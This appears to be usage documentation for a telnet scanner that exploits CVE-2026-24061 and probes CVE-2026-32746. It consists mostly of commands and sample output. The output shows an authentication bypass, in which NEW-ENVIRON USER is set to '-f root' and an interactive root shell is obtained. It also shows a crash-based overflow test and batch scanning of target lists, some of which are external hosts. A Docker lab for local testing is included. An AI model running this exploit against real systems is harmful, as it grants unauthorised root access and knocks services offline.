git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

python3 telnet_scanner.py

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 1
Port (default 23): 

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100

[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...

[*] Checking if service is reachable...
[+] Service reachable

[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

    [STEP 1/6] Waiting for server negotiation (may take up to 15s)...
    [STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
           decoded: IAC DO TERMINAL-TYPE
           decoded: IAC DO TERMINAL-SPEED  
           decoded: IAC DO X-DISPLAY-LOCATION
           decoded: IAC DO NEW-ENVIRON
    [STEP 2/6] Responding WILL to all DO options
    [STEP 3/6] Waiting for SB SEND subnegotiation requests...
    [STEP 4/6] Sending subnegotiation responses...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [STEP 5/6] Handling remaining option negotiations...
    [STEP 5/6] Text received: 'root@vuln-lab:~# '
    [RESULT] SUCCESS: Passwordless root login via USER="-f root" injection

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 2
Port (default 23): 
Enter filename with targets (one per line): targets.txt

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1

[*] Loaded 3 targets from targets.txt

==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable

[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

[?] Shell obtained! Interact now? (y/N): n

[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable

==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23

==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable

[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable

[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)

============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================

cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

cd lab && docker compose down